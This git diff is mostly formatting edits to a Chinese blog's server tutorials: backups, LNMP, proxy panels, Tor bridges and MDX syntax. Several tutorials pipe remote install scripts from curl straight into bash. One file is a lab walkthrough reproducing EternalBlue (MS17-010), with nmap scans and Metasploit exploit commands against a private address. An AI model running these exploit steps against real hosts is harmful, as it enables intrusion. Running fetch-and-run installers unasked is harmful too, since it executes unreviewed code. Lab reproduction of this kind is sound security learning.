Python 库 1. 安装 bypy: @@ -30,6 +33,7 @@ tags: [] ```bash pip install bypy ``` + 2. 安装 requests: ```bash @@ -40,7 +44,7 @@ tags: [] #### 授权登录 -##### 运行 `bypy info` 后按照提示进行: +##### 运行 `bypy info` 后按照提示进行 1. 将提示中的链接粘贴到浏览器中登录。 2. 输入账号密码登录后授权,获取授权码。 @@ -63,21 +67,25 @@ Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/ti ```bash wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip" ``` + 2. 解压工具包 ```bash unzip "/var/script/aliyunpan.zip" -d "/var/script" ``` + 3. 删除压缩包 ```bash rm "/var/script/aliyunpan.zip" ``` + 4. 重命名工具包名 ```bash mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan" ``` + 5. 登录阿里云盘 ```bash @@ -195,21 +203,21 @@ user="" # 数据库用户名 password="" # 数据库密码 for item in ${mysql_arry[@]};do - mkdir -p "$item/$year" - mysqldump -u $user -p$password ${item} > "${item}_${date_time}.sql" - zip "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}.sql" - rm "./${item}_${date_time}.sql" + mkdir -p "$item/$year" + mysqldump -u $user -p$password ${item} > "${item}_${date_time}.sql" + zip "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}.sql" + rm "./${item}_${date_time}.sql" done for item in ${web_arry[@]};do - mkdir -p "./$item/$year" - zip -r "./${item}_${date_time}_data.zip" "${web_path}/${item}" - if [ -f "./$item/$year/${item}_${date_time}.zip" ];then - zip -u "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}_data.zip" - else - zip "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}_data.zip" - fi - rm "./${item}_${date_time}_data.zip" + mkdir -p "./$item/$year" + zip -r "./${item}_${date_time}_data.zip" "${web_path}/${item}" + if [ -f "./$item/$year/${item}_${date_time}.zip" ];then + zip -u "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}_data.zip" + else + zip "./$item/$year/${item}_${date_time}.zip" "./${item}_${date_time}_data.zip" + fi + rm "./${item}_${date_time}_data.zip" done ``` @@ -221,7 +229,7 @@ chmod +x backups.sh ## 设置定时任务 -1. 编辑 crontab 以自动执行备份脚本: +1.编辑 crontab 以自动执行备份脚本: ```bash crontab -e @@ -233,8 +241,8 @@ crontab -e 0 0 1 * * /var/script/backups.sh # 每个月的第一天的午夜(00:00)执行 ``` -2. 重启 cron 服务以应用更改: +2.重启 cron 服务以应用更改: ```bash sudo systemctl restart cron -``` \ No newline at end of file +``` diff --git a/src/content/Linux/一键卸载宝塔Linux面板及运行环境命令.md b/src/content/Linux/一键卸载宝塔Linux面板及运行环境命令.md index f5fa2d7..2ced522 100644 --- a/src/content/Linux/一键卸载宝塔Linux面板及运行环境命令.md +++ b/src/content/Linux/一键卸载宝塔Linux面板及运行环境命令.md @@ -11,6 +11,7 @@ wget http://download.bt.cn/install/bt-uninstall.sh ``` 执行脚本 + ```bash sh bt-uninstall.sh -``` \ No newline at end of file +``` diff --git a/src/content/Linux/使用LNMP搭建网站.md b/src/content/Linux/使用LNMP搭建网站.md index 44ad64c..def4e80 100644 --- a/src/content/Linux/使用LNMP搭建网站.md +++ b/src/content/Linux/使用LNMP搭建网站.md @@ -9,21 +9,29 @@ tags: [] ### 系统:Debian 12 ### 第一步:绑定域名 + 1. 修改 hosts 配置 + ```bash vim /etc/hosts ``` + 添加需要绑定的域名,格式如下: + ```text 公网IP 域名 ``` ### 第二步:配置 MySQL 数据库 + 1. 进入 MySQL + ```bash mysql -u root -p ``` + 2. 创建数据库和用户,并授权 + ```sql CREATE DATABASE typecho_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER 'typecho_user'@'localhost' IDENTIFIED BY 'your_password'; @@ -37,23 +45,32 @@ tags: [] > 替换密码:your_password #### 导入备份数据 (如果有) + 1. 切换到目标数据库 + ```sql USE existing_database_name; ``` + > 替换为现有数据库的名称。 2. 导入备份数据 + ```sql SOURCE /path/to/backup_file.sql; ``` + > 替换为备份文件的路径。 ### 第三步:配置 Nginx + 1. 创建 Nginx 网站配置文件 + ```bash sudo vim /etc/nginx/sites-available/typecho.conf ``` + 2. 添加 Typecho 的反向代理配置信息 + ```nginx server { listen 80; @@ -104,49 +121,60 @@ tags: [] ``` 3. 创建软链接至 sites-enabled + ```bash sudo ln -s "/etc/nginx/sites-available/typecho.conf" "/etc/nginx/sites-enabled" ``` 4. 重启服务器 + ```bash nginx -t # 检查配置文件语法错误 nginx -s reload # 重新加载配置文件 ``` ### 第四步:申请 SSL 证书 + 1. 手动安装 acme.sh + ```bash git clone --depth=1 https://github.com/acmesh-official/acme.sh && cd acme.sh ``` + 或使用国内镜像 + ```bash git clone --depth=1 https://gitee.com/neilpang/acme.sh && cd acme.sh ``` 2. 安装 acme.sh + ```bash ./acme.sh --install ``` 3. 注册账号 + ```bash acme.sh --register-account -m my@example.com ``` 4. 生成证书 + ```bash ./acme.sh --issue -d mydomain.com -d www.mydomain.com --webroot /home/wwwroot/mydomain.com/ ``` 5. 配置 SSL 证书和密钥路径 + ```nginx ssl_certificate /path/to/your_certificate.cer; # SSL 证书路径 ssl_certificate_key /path/to/your_certificate.key; # SSL 证书密钥路径 ``` 6. 重启 Nginx + ```bash nginx -t # 检查配置文件语法错误 nginx -s reload # 重新加载配置文件 - ``` \ No newline at end of file + ``` diff --git a/src/content/Linux/开启系统自带的TCP-BBR加速.md b/src/content/Linux/开启系统自带的TCP-BBR加速.md index 5084e7a..7106f51 100644 --- a/src/content/Linux/开启系统自带的TCP-BBR加速.md +++ b/src/content/Linux/开启系统自带的TCP-BBR加速.md @@ -41,4 +41,4 @@ sysctl net.ipv4.tcp_available_congestion_control ```bash lsmod | grep bbr -``` \ No newline at end of file +``` diff --git a/src/content/Linux/手动搭建LNMP.md b/src/content/Linux/手动搭建LNMP.md index 78559e1..b05e4c7 100644 --- a/src/content/Linux/手动搭建LNMP.md +++ b/src/content/Linux/手动搭建LNMP.md @@ -7,76 +7,97 @@ tags: [] ## 系统更新和软件安装 ### 更新系统的软件包列表 + 在开始安装任何软件之前,最好先更新系统的软件包列表: + ```bash sudo apt update ``` ### 第一步:安装 Nginx + 1. **安装 Nginx**: + ```bash sudo apt install nginx ``` + 2. **启动 Nginx 并检查状态**: + ```bash sudo systemctl status nginx ``` ### 第二步:安装 PHP + 1. **安装 php-fpm 模块**: + ```bash sudo apt install php-fpm ``` + > 安装 php-fpm 模块而不是 PHP。如果 PHP 先安装,它可能会默认配置 Apache 服务器而不是 Nginx。`php-fpm` 包包含 PHP 的所有核心模块。 2. **(可选)安装其他 PHP 模块**,例如 `php-mysql`,运行 Typecho 所必需的软件包: + ```bash sudo apt install php-common php-mysql php-cgi php-mbstring php-curl php-gd php-xml php-xmlrpc php-pear ``` 3. **确认 PHP 版本**: + ```bash php -v ``` 4. **确认 php-fpm 服务正在运行**(替换为您的 PHP 版本): + ```bash sudo systemctl status php8.3-fpm ``` ### 第三步:安装 MySQL + 1. **安装 gnupg 包**,用于处理密钥: + ```bash sudo apt install gnupg ``` 2. **下载 MySQL 的官方 DEB 软件包**。先查询[最新的官方 DEB 包](https://dev.mysql.com/downloads/repo/apt/),然后使用 `wget` 下载: + ```bash wget [MySQL DEB Package URL] ``` 3. **安装 DEB 包**: + ```bash sudo dpkg -i [package-name.deb] ``` + > 将 `[package-name.deb]` 替换为下载的包名。 4. **刷新 apt 软件包缓存**,以使新软件包可用: + ```bash sudo apt update ``` 5. **安装 MySQL 服务器**: + ```bash sudo apt install mysql-server ``` 6. **检查 MySQL 服务状态**: + ```bash sudo systemctl status mysql ``` 7. **测试 MySQL**: + ```bash mysqladmin -u root -p version - ``` \ No newline at end of file + ``` diff --git a/src/content/markdown使用教程.md b/src/content/MDX使用教程.mdx similarity index 70% rename from src/content/markdown使用教程.md rename to src/content/MDX使用教程.mdx index 7cde955..f3320ea 100644 --- a/src/content/markdown使用教程.md +++ b/src/content/MDX使用教程.mdx @@ -1,8 +1,11 @@ --- -title: "markdown使用教程" +title: "MDX使用教程" date: 2023-03-03 tags: [] --- + +## 1. Markdown 语法部分 + ### 1.1 标题语法 ```markdown @@ -177,11 +180,11 @@ function greet(user: User): string { #### 1.7.1 链接 ```markdown -[Markdown 官方文档](https://www.markdownguide.org) +[MDX 官方文档](https://mdxjs.com) [相对路径链接](../path/to/file.md) ``` -[Markdown 官方文档](https://www.markdownguide.org) +[MDX 官方文档](https://mdxjs.com) [相对路径链接](../path/to/file.md) #### 1.7.2 图片 @@ -194,52 +197,34 @@ function greet(user: User): string { ```markdown --- -或 -*** -或 -___ ``` --- -### 1.9 脚注 +## 2. HTML/JSX 语法部分 -```markdown -这里有一个脚注[^1],这里有另一个脚注[^2]。 +### 2.1 HTML 标签 -[^1]: 这是第一个脚注的内容。 -[^2]: 这是第二个脚注的内容。 +#### 2.1.1 下划线文本 + +```mdx +这是下划线文本 ``` -这里有一个脚注[^1],这里有另一个脚注[^2]。 +这是下划线文本 -[^1]: 这是第一个脚注的内容。 -[^2]: 这是第二个脚注的内容。 +#### 2.1.2 收纳语法 -### 1.10 转义字符 - -```markdown -\* 这不是斜体 \* -\` 这不是代码 \` -\[ 这不是链接 \] -``` - -\* 这不是斜体 \* -\` 这不是代码 \` -\[ 这不是链接 \] - -### 1.11 收纳语法 - -```markdown +```mdx
点击展开 -> 这里是被收纳的内容。 -> 可以包含任何 Markdown 格式的内容。 -> -> - 列表项1 -> - 列表项2 -> - 列表项3 +这里是被收纳的内容。 +可以包含任何 MDX 格式的内容。 + +- 列表项1 +- 列表项2 +- 列表项3
``` @@ -247,11 +232,59 @@ ___
点击展开 -> 这里是被收纳的内容。 -> 可以包含任何 Markdown 格式的内容。 -> -> - 列表项1 -> - 列表项2 -> - 列表项3 +这里是被收纳的内容。 +可以包含任何 MDX 格式的内容。 -
\ No newline at end of file +- 列表项1 +- 列表项2 +- 列表项3 + + + +### 2.2 React 组件使用 + +```mdx +import { Button } from './Button' + + +``` + +### 2.3 导出和使用变量 + +```mdx +export const myVariable = "Hello MDX!" + +# {myVariable} +``` + +### 2.4 使用 JavaScript 表达式 + +```mdx +{new Date().getFullYear()} + +{['React', 'Vue', 'Angular'].map(framework => ( +
  • {framework}
  • +))} +``` + +### 2.5 组件属性传递 + +```mdx + + 这里是卡片内容 + +``` + +### 2.6 导入其他 MDX 文件 + +```mdx +import OtherContent from './other-content.mdx' + + +``` \ No newline at end of file diff --git a/src/content/VPN/X-UI面板快速搭建和配置.md b/src/content/VPN/X-UI面板快速搭建和配置.md index be961a2..6281bcf 100644 --- a/src/content/VPN/X-UI面板快速搭建和配置.md +++ b/src/content/VPN/X-UI面板快速搭建和配置.md @@ -9,6 +9,7 @@ tags: ["x-ui"] GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui) 1. 复制粘贴以下代码,并运行: + ```bash bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh) ``` @@ -24,14 +25,15 @@ GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/F 系统状态 - xray 状态 - 切换版本 - 切换为最新版本 配置节点: + - 入站列表 - 添加入站 - - 协议:`vless` - - 端口:`443` - - reality:`开启` - - 添加用户:+ - - flow选择xtls-rprx-vision - - 其他默认 + - 协议:`vless` + - 端口:`443` + - reality:`开启` + - 添加用户:+ + - flow选择xtls-rprx-vision + - 其他默认 ## 三、使用 -点击"操作"→"二维码",导出节点。 \ No newline at end of file +点击"操作"→"二维码",导出节点。 diff --git a/src/content/VPN/centos7.x搭建Tor私人网桥.md b/src/content/VPN/centos7.x搭建Tor私人网桥.md index 7f21555..c3c2980 100644 --- a/src/content/VPN/centos7.x搭建Tor私人网桥.md +++ b/src/content/VPN/centos7.x搭建Tor私人网桥.md @@ -15,11 +15,13 @@ yum install tor -y ### 通过python进行编译安装 #### 安装所需依赖软件模块 + ```bash yum install make automake gcc python-pip python-devel libyaml-devel ``` #### 安装 obfs4proxy + ```bash pip install obfsproxy ``` @@ -27,16 +29,19 @@ pip install obfsproxy ### 通过go进行编译安装 #### 下载go的obfs4项目 + ```bash git clone http://www.github.com/Yawning/obfs4 ``` #### 进入obfs4目录进行编译 + ```bash go build -o obfs4proxy/obfs4proxy ./obfs4proxy ``` #### 复制bofs4proxy到系统工作目录下 + ```bash cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy ``` @@ -44,6 +49,7 @@ cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy ## 3. 配置 Tor Bridges ### 编辑配置文件 + ```bash vim /etc/tor/torrc ``` @@ -62,11 +68,13 @@ PublishServerDescriptor 0 ``` ### 重启tor服务 + ```bash systemctl restart tor ``` ### 查看tor服务状态 + ```bash systemctl status tor ``` @@ -74,6 +82,7 @@ systemctl status tor ## 4. 使用网桥 查看日志文件: + ```bash tail -F /var/log/tor/notices.log ``` @@ -104,6 +113,7 @@ iat-mode=0 ``` 根据日志中的信息获得最终的网桥配置: + ```text obfs4 :46396 530FA95A79B9145D315F15F01215BE2F3BE921EB cert=6LMNcXh6MIfApbZiMksnS4Kj+2sffZ5pybSqtcOO5YoHgfrMpkBJqvLxhuR2Ppau0L2seg @@ -113,11 +123,13 @@ iatmode=0 ## 5. 防火墙配置 编辑防火墙公共配置文件: + ```bash vim /etc/firewalld/zones/public.xml ``` 内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396): + ```xml @@ -126,6 +138,7 @@ vim /etc/firewalld/zones/public.xml ``` 使防火墙配置生效: + ```bash firewall-cmd --complete-reload ``` diff --git a/src/content/VPN/dns 解锁.md b/src/content/VPN/dns 解锁.md index 294bac0..065b02a 100644 --- a/src/content/VPN/dns 解锁.md +++ b/src/content/VPN/dns 解锁.md @@ -8,4 +8,4 @@ tags: [] ```bash yum install dnsmasq -y -``` \ No newline at end of file +``` diff --git a/src/content/VPN/v2board后端对接-XrayR-V2ray-ws-tls-cdn.md b/src/content/VPN/v2board后端对接-XrayR-V2ray-ws-tls-cdn.md index b5f9caf..9ebd2fe 100644 --- a/src/content/VPN/v2board后端对接-XrayR-V2ray-ws-tls-cdn.md +++ b/src/content/VPN/v2board后端对接-XrayR-V2ray-ws-tls-cdn.md @@ -21,6 +21,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/ma v2ray 节点需要进行时间同步,时间若与客户端相差太大则无法连接 ### CentOS 7 + ```bash yum install -y ntp systemctl enable ntpd @@ -29,6 +30,7 @@ systemctl restart ntpd ``` ### Debian 9 / Ubuntu 16 + ```bash apt-get install -y ntp systemctl enable ntp @@ -36,6 +38,7 @@ systemctl restart ntp ``` ### 或者(时间同步为上海) + ```bash rm -rf /etc/localtime ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime @@ -45,7 +48,9 @@ ntpdate time.nist.gov ## 四、面板节点配置 ### 添加节点 + 在后台 > 节点管理 > 添加节点: + - 节点名称:随便填写 - 权限组:随便填写 - 节点地址:填cf的ip或者伪装的域名 @@ -54,6 +59,7 @@ ntpdate time.nist.gov - 传输协议:选择websocket ### 配置协议 + ```json { "path": "/随便", @@ -112,10 +118,13 @@ CertConfig: ``` ## 六、启动 XrayR + ```bash xrayr start ``` + 或者 + ```bash XrayR ``` diff --git a/src/content/VPN/v2board后端对接-soga.md b/src/content/VPN/v2board后端对接-soga.md index 3ddacb1..64554da 100644 --- a/src/content/VPN/v2board后端对接-soga.md +++ b/src/content/VPN/v2board后端对接-soga.md @@ -7,6 +7,7 @@ tags: ["v2board"] 确保v2board版本在1.2.5及以上 ## 一、安装与更新 + ```bash bash <(curl -Ls https://raw.githubusercontent.com/sprov065/soga/master/install.sh) ``` @@ -16,6 +17,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/sprov065/soga/master/install.s v2ray 节点需要进行时间同步,时间若与客户端相差太大则无法连接。 ### CentOS 7 + ```bash yum install -y ntp systemctl enable ntpd @@ -24,6 +26,7 @@ systemctl restart ntpd ``` ### Debian 9 / Ubuntu 16 + ```bash apt-get install -y ntp systemctl enable ntp @@ -31,6 +34,7 @@ systemctl restart ntp ``` ### 或者(时间同步为上海) + ```bash rm -rf /etc/localtime ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime @@ -40,7 +44,9 @@ ntpdate time.nist.gov ## 三、面板节点配置 ### 添加节点 + 在面板后台 > 节点管理 > 添加节点: + - 节点名称:随便填写 - 权限组:随便填写 - 节点地址:填v2borad的域名或ip @@ -48,6 +54,7 @@ ntpdate time.nist.gov - 传输协议:选择websocket ### 配置协议 + ```json { "lsy": "/" @@ -57,20 +64,25 @@ ntpdate time.nist.gov ## 四、配置 soga ### 查看配置 + ```bash soga config ``` ### 自动配置 + 可以一行填写任意数量的配置信息,示例: + ```bash soga config type=v2board server_type=v2ray ``` ### 编辑配置文件 + 配置文件位置:`/etc/soga/soga.conf` 基础配置示例: + ```ini type=v2board ## 对接的面板类型,可选SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks server_type=v2ray ## 对接的节点类型,可选V2ray, Shadowsocks, Trojan @@ -98,10 +110,13 @@ default_dns=8.8.8.8,1.1.1.1 ## 配置默认dns,可在此配置流媒体解锁 ``` ## 五、启动 soga + ```bash soga start ``` + 或者 + ```bash soga -``` \ No newline at end of file +``` diff --git a/src/content/VPN/v2board后端对接-套cloudfront解决被墙和提升速度.md b/src/content/VPN/v2board后端对接-套cloudfront解决被墙和提升速度.md index 4e593d2..44e8626 100644 --- a/src/content/VPN/v2board后端对接-套cloudfront解决被墙和提升速度.md +++ b/src/content/VPN/v2board后端对接-套cloudfront解决被墙和提升速度.md @@ -34,6 +34,7 @@ tags: ["v2board"] - 父节点:选择创造好的节点 - 传输协议:选择websocket - 配置协议: + ```json { "path": "/随便", diff --git a/src/content/VPN/v2board后端对接v2ray-warp使用Cloudflare-WARP解锁chatgpt-流媒体.md b/src/content/VPN/v2board后端对接v2ray-warp使用Cloudflare-WARP解锁chatgpt-流媒体.md index 61116c2..4dbf1a7 100644 --- a/src/content/VPN/v2board后端对接v2ray-warp使用Cloudflare-WARP解锁chatgpt-流媒体.md +++ b/src/content/VPN/v2board后端对接v2ray-warp使用Cloudflare-WARP解锁chatgpt-流媒体.md @@ -9,6 +9,7 @@ tags: ["v2board"] GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1] 1. 复制粘贴以下代码,并运行: + ```bash bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh) ``` @@ -24,12 +25,13 @@ GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1] 系统状态 - xray 状态 - 切换版本 - 切换为最新版本 配置节点: + - 入站列表 - 添加入站 - - 端口:443 - - reality:开启 - - 添加用户:+ - - flow 选择 xtls-rprx-vision - - 其他默认 + - 端口:443 + - reality:开启 + - 添加用户:+ + - flow 选择 xtls-rprx-vision + - 其他默认 ## 三、使用 diff --git a/src/content/VPN/v2ray搭建.md b/src/content/VPN/v2ray搭建.md index 23838d8..bc2e90a 100644 --- a/src/content/VPN/v2ray搭建.md +++ b/src/content/VPN/v2ray搭建.md @@ -5,9 +5,11 @@ tags: ["v2ray"] --- ## 一、v2ray官方安装 + ```bash bash <(curl -s -L https://git.io/v2ray.sh) ``` ## 二、v2ray-agent安装 -v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent) \ No newline at end of file + +v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent) diff --git a/src/content/VPN/一键搭建Telegram的MTProto代理.md b/src/content/VPN/一键搭建Telegram的MTProto代理.md index ecff7c9..46023ad 100644 --- a/src/content/VPN/一键搭建Telegram的MTProto代理.md +++ b/src/content/VPN/一键搭建Telegram的MTProto代理.md @@ -1,35 +1,33 @@ --- title: "一键搭建Telegram的MTProto代理" date: 2021-08-09T00:07:00+08:00 -tags: ["telegram", "mtproto"] +tags: [] --- -## 一、同步时间 +1.同步时间 +------ -### CentOS 7 -```bash -yum install -y ntp -systemctl enable ntpd -ntpdate -q 0.rhel.pool.ntp.org -systemctl restart ntpd -``` +CentOS 7 -### Debian 9 / Ubuntu 16 -```bash -apt-get install -y ntp -systemctl enable ntp -systemctl restart ntp -``` + yum install -y ntp + systemctl enable ntpd + ntpdate -q 0.rhel.pool.ntp.org + systemctl restart ntpd -### 或者(时间同步为上海) -```bash -rm -rf /etc/localtime -ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime -ntpdate time.nist.gov -``` +Debian 9 / Ubuntu 16 -## 二、一键安装 -```bash -mkdir /home/mtproxy && cd /home/mtproxy -curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh -``` \ No newline at end of file + apt-get install -y ntp + systemctl enable ntp + systemctl restart ntp + +或者(时间同步为上海) + + rm -rf /etc/localtime + ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime + ntpdate time.nist.gov + +2.一键安装 +------ + + mkdir /home/mtproxy && cd /home/mtproxy + curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh diff --git a/src/content/VPN/安装谷歌三件套服务框架.md b/src/content/VPN/安装谷歌三件套服务框架.md index 1114f36..fdb2210 100644 --- a/src/content/VPN/安装谷歌三件套服务框架.md +++ b/src/content/VPN/安装谷歌三件套服务框架.md @@ -1,38 +1,44 @@ --- title: "安装谷歌三件套服务框架" date: 2023-07-12T23:39:00+08:00 -tags: ["google", "android"] +tags: [] --- -## 一、Google服务框架 +三件套包含: -下载地址:[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/) +- Google服务框架 +- Google Play Service +- Google Play Store -### 安装说明 -1. 首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 -2. 选择noDPI的版本。 -3. 关于ARM版本: - - 一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 - - 也可以直接下载universal版本,也就是兼容v8和v7的版本。 +## Google服务框架 -## 二、Google Play Service +下载地址:`https://www.apkmirror.com/apk/google-inc/google-services-framework/` -下载地址:[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/) +首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 +选择noDPI的版本 -### 安装说明 -1. 首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 -2. 选择noDPI的版本。 -3. 关于ARM版本: - - 一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 - - 也可以直接下载universal版本,也就是兼容v8和v7的版本。 +关于ARM版本: +**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 +也可以直接下载universal版本,也就是兼容v8和v7的版本。** -## 三、Google Play Store +## Google Play Service -下载地址:[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/) +下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-services/` -### 安装说明 -1. 首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 -2. 选择noDPI的版本。 -3. 关于ARM版本: - - 一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 - - 也可以直接下载universal版本,也就是兼容v8和v7的版本。 \ No newline at end of file +首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 +那么就选择noDPI的版本 + +关于ARM版本: +**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 +也可以直接下载universal版本,也就是兼容v8和v7的版本。** + +## Google Play Store + +下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-store/` + +首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 +选择noDPI的版本 + +关于ARM版本: +**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 +也可以直接下载universal版本,也就是兼容v8和v7的版本。** \ No newline at end of file diff --git a/src/content/VPN/搭建v2board前端.md b/src/content/VPN/搭建v2board前端.md index 07d1886..4f24b72 100644 --- a/src/content/VPN/搭建v2board前端.md +++ b/src/content/VPN/搭建v2board前端.md @@ -13,6 +13,7 @@ tags: ["v2board"] 安装完成后我们登陆宝塔进行环境的安装。 选择使用LNMP的环境安装方式勾选如下信息: + - ☑️ Nginx 1.17 - ☑️ MySQL 5.6 - ☑️ PHP 7.3 @@ -30,6 +31,7 @@ tags: ["v2board"] ## 四、添加站点 宝塔面板 > 网站 > 添加站点: + - 在域名填入你的域名 - 在数据库中选择MySQL - 在 PHP 版本中选择 PHP-73 @@ -37,22 +39,26 @@ tags: ["v2board"] ## 五、安装V2Board ### 进入站点目录 + ```bash cd /www/wwwroot/你的站点域名 ``` ### 删除目录下文件 + ```bash chattr -i .user.ini rm -rf .htaccess 404.html index.html .user.ini ``` ### 从 Github 克隆到当前目录 + ```bash git clone https://github.com/v2board/v2board.git ./ ``` ### 安装依赖包以及V2board + ```bash sh init.sh ``` @@ -61,6 +67,7 @@ sh init.sh 1. 添加完成后编辑添加的站点 > 站点目录 > 运行目录,选择 /public 保存。 2. 添加完成后编辑添加的站点 > 伪静态,填入: + ```nginx location /downloads { } @@ -80,10 +87,12 @@ sh init.sh ## 七、配置定时任务 宝塔面板 > 计划任务,配置: + - 任务类型:选择 Shell 脚本 - 任务名称:填写`v2board` - 执行周期:选择`N 分钟 1 分钟` - 脚本内容: + ```php php /www/wwwroot/路径/artisan schedule:run ``` @@ -95,6 +104,7 @@ sh init.sh V2board的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。 宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写: + - 名称:填写 `V2board` - 运行目录:选择站点目录 - 启动命令:填写 `php artisan horizon` @@ -105,9 +115,10 @@ V2board的邮件系统强依赖队列服务,你想要使用邮件验证及群 ## 常见问题 ### 500错误 + 可能的原因: + 1. 检查站点根目录权限,递归755,保证目录有可写文件的权限。 2. Redis扩展没有安装或者Redis没有安装造成的。 3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。 4. 重启php7.3。 - diff --git a/src/content/code/ms17-010(永恒之蓝)漏洞复现.md b/src/content/code/ms17-010(永恒之蓝)漏洞复现.md index 8f893f9..014e87b 100644 --- a/src/content/code/ms17-010(永恒之蓝)漏洞复现.md +++ b/src/content/code/ms17-010(永恒之蓝)漏洞复现.md @@ -34,18 +34,19 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行 ```bash curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall ``` + 2. 进入框架 ```bash msfconsole ``` + 3. 初始化 ```bash init ``` - ### 四. 寻找主机 * **ipconfig** @@ -57,14 +58,12 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行 nmap -T5 -sP 192.168.97.0/24 ``` - * **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 - * **​`-sP`​**:执行 Ping 连接扫描。 - * **​`192.168.97.0/24`​**:扫描指定的 IP 地址范围。 + * **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。 + * **`-sP`**:执行 Ping 连接扫描。 + * **`192.168.97.0/24`**:扫描指定的 IP 地址范围。 - - | **IP地址**
    | | | | + | IP地址 | 私有ip范围 | 子网掩码 | CIDR | | --------- | :----------------------------- | :-------------- | :--------------- | - | | 私有ip范围 | 子网掩码 | CIDR | | A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 | | B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 | | C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 | @@ -77,9 +76,9 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行 nmap -T5 -sT 192.168.97.128 ``` - * **​`-T5`​**:使用速度模板**​`T5`​**,表示激进的扫描速度。 - * **​`-sT`​**:执行 TCP 连接扫描。 - * **​`192.168.97.128`​**:扫描指定的 IP + * **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。 + * **`-sT`**:执行 TCP 连接扫描。 + * **`192.168.97.128`**:扫描指定的 IP * **MSF** 端口扫描 1. 使用模块 @@ -87,11 +86,13 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行 ```bash use auxiliary/scanner/portscan/tcp ``` + 2. 设置扫描ip ```bash set rhosts 192.168.97.128 ``` + 3. 运行 ```bash @@ -141,21 +142,25 @@ search ms17_010 ```bash use 24 ``` + 2. 查看需要配置的参数 ```bash show options ``` + 3. 设置目标主机地址 ```bash set rhosts 192.168.97.128 ``` + 4. 运行 ```bash run ``` + * nmap ```bash @@ -169,23 +174,25 @@ search ms17_010 ```bash use exploit/windows/smb/ms17_010_eternalblue ``` + 2. 设置目标主机地址 ```bash set rhosts 192.168.97.128 ``` + 3. 